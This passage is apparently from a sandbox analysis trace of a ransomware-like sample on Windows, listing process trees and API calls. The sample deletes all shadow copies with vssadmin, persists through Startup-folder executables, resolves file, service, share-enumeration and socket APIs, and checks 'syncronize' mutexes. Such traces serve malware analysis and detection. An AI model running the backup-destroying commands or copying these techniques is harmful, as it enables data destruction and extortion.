_MaxCount=0x7) returned -5 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0034.579] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.580] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0034.580] GetProcessHeap () returned 0x310000 [0034.580] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x324640 | out: hHeap=0x310000) returned 1 [0034.580] GetProcessHeap () returned 0x310000 [0034.580] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x12) returned 0x328900 [0034.580] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ff200*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ff1b0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1ff1b0*(hProcess=0x50, hThread=0x54, dwProcessId=0x9e0, dwThreadId=0x9e4)) returned 1 [0034.590] CloseHandle (hObject=0x54) returned 1 [0034.590] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0034.590] GetProcessHeap () returned 0x310000 [0034.590] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32eb10 | out: hHeap=0x310000) returned 1 [0034.590] GetEnvironmentStringsW () returned 0x32eb10* [0034.590] GetProcessHeap () returned 0x310000 [0034.590] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb0e) returned 0x32f630 [0034.590] FreeEnvironmentStringsW (penv=0x32eb10) returned 1 [0034.590] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1feab8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1feab8, ReturnLength=0x0) returned 0x0 [0034.590] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd9000, lpBuffer=0x1feaf0, nSize=0x380, lpNumberOfBytesRead=0x1feab0 | out: lpBuffer=0x1feaf0*, lpNumberOfBytesRead=0x1feab0*=0x380) returned 1 [0034.590] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x4d56f000" os_pid = "0x9c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x984" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x9c8 Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4d299000" os_pid = "0x9e0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x984" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x9e4 Thread: id = 21 os_tid = 0x9e8 Thread: id = 22 os_tid = 0x9ec Thread: id = 23 os_tid = 0x9f0 Thread: id = 24 os_tid = 0x9f4 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x4e25f000" os_pid = "0x9f8" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x9e0" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00076ea1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 27 os_tid = 0xaac Thread: id = 28 os_tid = 0xa14 Thread: id = 29 os_tid = 0xa10 Thread: id = 30 os_tid = 0xa0c [0042.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf9d6c0 | out: lpSystemTimeAsFileTime=0xf9d6c0*(dwLowDateTime=0x499feb60, dwHighDateTime=0x1d54a09)) [0042.259] GetCurrentProcessId () returned 0x9f8 [0042.259] GetCurrentThreadId () returned 0xa0c [0042.259] GetTickCount () returned 0x1144ac7 [0042.259] QueryPerformanceCounter (in: lpPerformanceCount=0xf9d6c8 | out: lpPerformanceCount=0xf9d6c8*=16255690838) returned 1 [0042.259] malloc (_Size=0x100) returned 0xe8e80 [0066.563] free (_Block=0xe8e80) Thread: id = 31 os_tid = 0xa08 Thread: id = 32 os_tid = 0xa04 Thread: id = 33 os_tid = 0x9fc Thread: id = 34 os_tid = 0xab0 Thread: id = 49 os_tid = 0xad4 Thread: id = 56 os_tid = 0xb74 Thread: id = 59 os_tid = 0x40c Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x9f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 35 os_tid = 0xa8c Thread: id = 36 os_tid = 0x824 Thread: id = 37 os_tid = 0x76c Thread: id = 38 os_tid = 0x758 Thread: id = 39 os_tid = 0x74c Thread: id = 40 os_tid = 0x72c Thread: id = 41 os_tid = 0x71c Thread: id = 42 os_tid = 0x718 Thread: id = 43 os_tid = 0x638 Thread: id = 44 os_tid = 0x154 Thread: id = 45 os_tid = 0x150 Thread: id = 46 os_tid = 0x12c Thread: id = 47 os_tid = 0x120 Thread: id = 48 os_tid = 0x3fc Thread: id = 57 os_tid = 0xbc4 Thread: id = 58 os_tid = 0x830 Thread: id = 61 os_tid = 0x8a4 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x47b65000" os_pid = "0xabc" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x9f8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00077ddf" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 50 os_tid = 0xad8 Thread: id = 51 os_tid = 0xad0 Thread: id = 52 os_tid = 0xacc Thread: id = 53 os_tid = 0xac8 Thread: id = 54 os_tid = 0xac4 Thread: id = 55 os_tid = 0xac0 Thread: id = 60 os_tid = 0x408 Process: id = "8" image_name = "uyuquk.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe" page_root = "0x7517f000" os_pid = "0x550" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e1e1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0x554 [0230.367] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c10000 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetProcAddress") returned 0x76c21222 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetModuleHandleW") returned 0x76c234b0 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="FindNextFileW") returned 0x76c254ee [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="FindClose") returned 0x76c24442 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="MoveFileW") returned 0x76c39af0 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetFileSizeEx") returned 0x76c259e2 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetModuleFileNameW") returned 0x76c24950 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetFileAttributesW") returned 0x76c21b18 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="ExitProcess") returned 0x76c27a10 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetCommandLineW") returned 0x76c25223 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetComputerNameW") returned 0x76c2dd0e [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetComputerNameA") returned 0x76c3b6e0 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="CreateMutexW") returned 0x76c2424c [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="lstrlenW") returned 0x76c21700 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="lstrlenA") returned 0x76c25a4b [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetCurrentProcess") returned 0x76c21809 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="WaitForSingleObject") returned 0x76c21136 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetLogicalDrives") returned 0x76c25371 [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="GetTickCount") returned 0x76c2110c [0230.371] GetProcAddress (hModule=0x76c10000, lpProcName="DeleteFileW") returned 0x76c289b3 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="WideCharToMultiByte") returned 0x76c2170d [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c21916 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="Sleep") returned 0x76c210ff [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="LeaveCriticalSection") returned 0x77d92270 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="ReadFile") returned 0x76c23ed3 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="CreateFileW") returned 0x76c23f5c [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="OpenMutexW") returned 0x76c25151 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="EnterCriticalSection") returned 0x77d922b0 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="WaitForMultipleObjects") returned 0x76c24220 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="lstrcmpiW") returned 0x76c3d5cd [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="lstrcmpiA") returned 0x76c23e8e [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="DeleteCriticalSection") returned 0x77da45f5 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="ReleaseMutex") returned 0x76c2111e [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="CloseHandle") returned 0x76c21410 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="GetVersion") returned 0x76c24467 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="CreateThread") returned 0x76c234d5 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c24173 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="QueryPerformanceCounter") returned 0x76c21725 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="QueryPerformanceFrequency") returned 0x76c241f0 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="GetCurrentProcessId") returned 0x76c211f8 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="SetFileAttributesW") returned 0x76c3d4f7 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="GetVolumeInformationW") returned 0x76c3c860 [0230.372] GetProcAddress (hModule=0x76c10000, lpProcName="WriteFile") returned 0x76c21282 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="SetFilePointerEx") returned 0x76c3c807 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="SetEndOfFile") returned 0x76c3ce2e [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="FindFirstFileW") returned 0x76c24435 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="GetProcessHeap") returned 0x76c214e9 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="HeapReAlloc") returned 0x77db1f6e [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="HeapAlloc") returned 0x77d9e026 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="HeapFree") returned 0x76c214c9 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="CreatePipe") returned 0x76ca415b [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="SetHandleInformation") returned 0x76c3195c [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="CreateProcessW") returned 0x76c2103d [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="CompareStringW") returned 0x76c23bca [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="CompareStringA") returned 0x76c23c5a [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="OpenProcess") returned 0x76c21986 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="TerminateProcess") returned 0x76c3d802 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="GetSystemTime") returned 0x76c25a96 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="SystemTimeToFileTime") returned 0x76c25a7e [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="GetLastError") returned 0x76c211c0 [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c4735f [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="Process32NextW") returned 0x76c4896c [0230.373] GetProcAddress (hModule=0x76c10000, lpProcName="Process32FirstW") returned 0x76c48baf [0230.373] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76270000 [0231.883] GetProcAddress (hModule=0x76270000, lpProcName="RegOpenKeyExW") returned 0x7628468d [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="RegQueryValueExW") returned 0x762846ad [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="RegSetValueExW") returned 0x762814d6 [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="RegCloseKey") returned 0x7628469d [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="OpenProcessToken") returned 0x76284304 [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="GetTokenInformation") returned 0x7628431c [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="OpenSCManagerW") returned 0x7627ca64 [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="OpenServiceW") returned 0x7627ca4c [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="CloseServiceHandle") returned 0x7628369c [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="ControlService") returned 0x76297144 [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="QueryServiceStatus") returned 0x76282a86 [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="EnumDependentServicesW") returned 0x76271e3a [0231.884] GetProcAddress (hModule=0x76270000, lpProcName="EnumServicesStatusExW") returned 0x7627b466 [0231.884] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75b40000 [0231.895] GetProcAddress (hModule=0x75b40000, lpProcName="SystemParametersInfoW") returned 0x75b590d3 [0231.895] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76d20000 [0233.008] GetProcAddress (hModule=0x76d20000, lpProcName="ShellExecuteExW") returned 0x76d41e46 [0233.008] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77d70000 [0233.008] GetProcAddress (hModule=0x77d70000, lpProcName="NtQuerySystemInformation") returned 0x77d8fda0 [0233.008] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74090000 [0233.010] GetProcAddress (hModule=0x74090000, lpProcName="WNetCloseEnum") returned 0x74092dd6 [0233.010] GetProcAddress (hModule=0x74090000, lpProcName="WNetOpenEnumW") returned 0x74092f06 [0233.010] GetProcAddress (hModule=0x74090000, lpProcName="WNetEnumResourceW") returned 0x74093058 [0233.010] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75e30000 [0233.013] GetProcAddress (hModule=0x75e30000, lpProcName="WSAStartup") returned 0x75e33ab2 [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="socket") returned 0x75e33eb8 [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="send") returned 0x75e36f01 [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="recv") returned 0x75e36b0e [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="connect") returned 0x75e36bdd [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="closesocket") returned 0x75e33918 [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="gethostbyname") returned 0x75e47673 [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="inet_addr") returned 0x75e3311b [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="ntohl") returned 0x75e32d57 [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="htonl") returned 0x75e32d57 [0233.014] GetProcAddress (hModule=0x75e30000, lpProcName="htons") returned 0x75e32d8b [0233.014] GetProcessHeap () returned 0x5e0000 [0233.014] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x5f4238 [0233.014] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6871633137) returned 1 [0233.014] GetTickCount () returned 0x1130b47 [0233.014] GetCurrentProcessId () returned 0x550 [0233.015] GetTickCount () returned 0x1130b47 [0233.015] GetTickCount () returned 0x1130b47 [0233.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x5f4260 [0233.015] GetVersion () returned 0x1db10106 [0233.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7) returned 0x5e3820 [0233.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10) returned 0x5f0d40 [0233.015] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5f0d40, Size=0x20) returned 0x5f42b0 [0233.015] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5f42b0, Size=0x40) returned 0x5f4820 [0233.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfffe) returned 0x5f4a98 [0233.015] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_C3A2BJA") returned 0x84 [0233.015] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e3820 | out: hHeap=0x5e0000) returned 1 [0233.015] lstrlenW (lpString="Global\\syncronize_") returned 18 [0233.015] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f4820 | out: hHeap=0x5e0000) returned 1 [0233.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7) returned 0x5e3820 [0233.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10) returned 0x5f0d40 [0233.015] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5f0d40, Size=0x20) returned 0x5f42b0 [0233.015] RtlReAllocateHeap (Heap=0x5e0000, Flags=0x0, Ptr=0x5f42b0, Size=0x40) returned 0x5f4820 [0233.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfffe) returned 0x604aa0 [0233.016] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_C3A2BJU") returned 0x88 [0233.016] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e3820 | out: hHeap=0x5e0000) returned 1 [0233.016] lstrlenW (lpString="Global\\syncronize_") returned 18 [0233.016] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5f4820 | out: hHeap=0x5e0000) returned 1 [0233.016] GetVersion () returned 0x1db10106 [0233.016] GetCurrentProcess () returned 0xffffffff [0233.016] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0233.016] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0233.016] CloseHandle (hObject=0x8c) returned 1 [0233.016] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0233.016] ExitProcess (uExitCode=0x0) Process: id = "9" image_name = "uyuquk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe" page_root = "0x753b1000" os_pid = "0x558" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e1e1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 63 os_tid = 0x55c [0230.390] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c10000 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetProcAddress") returned 0x76c21222 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetModuleHandleW") returned 0x76c234b0 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="FindNextFileW") returned 0x76c254ee [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="FindClose") returned 0x76c24442 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="MoveFileW") returned 0x76c39af0 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetFileSizeEx") returned 0x76c259e2 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetModuleFileNameW") returned 0x76c24950 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetFileAttributesW") returned 0x76c21b18 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="ExitProcess") returned 0x76c27a10 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetCommandLineW") returned 0x76c25223 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetComputerNameW") returned 0x76c2dd0e [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetComputerNameA") returned 0x76c3b6e0 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="CreateMutexW") returned 0x76c2424c [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="lstrlenW") returned 0x76c21700 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="lstrlenA") returned 0x76c25a4b [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetCurrentProcess") returned 0x76c21809 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="WaitForSingleObject") returned 0x76c21136 [0230.393] GetProcAddress (hModule=0x76c10000, lpProcName="GetLogicalDrives") returned 